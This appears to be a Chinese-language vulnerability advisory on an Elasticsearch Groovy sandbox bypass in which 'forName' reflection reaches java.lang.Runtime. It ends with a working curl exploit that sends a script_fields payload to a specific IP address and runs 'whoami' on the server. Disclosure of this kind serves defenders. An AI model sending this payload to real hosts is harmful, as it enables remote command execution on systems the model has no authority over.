<p>漏洞相关文件:</p><p>com.elasticsearch.script.groovy.GroovySandboxExpression-Checker </p><p>产生漏洞代码在实现沙盒的类是 com.elasticsearch.script.groovy.GroovySandboxExpression-Checker ,它订制了 Groovy 的沙盒,对表达式进行了安全检测,但是这个沙盒与Java 的 SecurityManager那种沙盒是不同的,从代码中可以看到这个沙盒,只是根据黑白名单,在表达 式语义上判断表达式是否合法的,可以说是一个“浅”沙盒。 </p><p>具体的代码流程如下图: </p><p><img alt="1.png" src="https://images.seebug.org/@/uploads/1434535163559-1.png" data-image-size="865,506"><br></p><p>允许调用白名单的如下:<br></p><p><img alt="2.png" src="https://images.seebug.org/@/uploads/1434535639669-2.png" data-image-size="865,514"><br></p><p>从上面的白名单中可以看到,允许构造对象和方法调用的类,都是一些常规类,没有我们可以利用的类,而且如果我们想要利用反射去调用我们想调用的类,方法黑名单中又限制了 getClass 的调用,我们无法通过 getClass 方法获取Class对象,但是我们可以看到方法白名单中,并没有对 forName 方法进行限制,也就是说,如果我们能获取到Class对象,再调用 forName 方法就可以获取到我们想访问的类。<br></p><p><br></p><p>漏洞利用:</p><p>可以使用以下命令对ElasticSearch系统进行漏洞检测。</p><p>在 Bash下运行</p><pre class="">curl -XPOST "http://107.170.178.80:9200/_search?pretty" -d'{
"size": 1,
"script_fields": {
"my_field": {
"script": "p=Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"whoami\").getText()"
}
}
}'
</pre><p><img alt="1.png" src="https://images.seebug.org/@/uploads/1434535740262-1.png" data-image-size="865,467"><br></p>
全部评论 (1)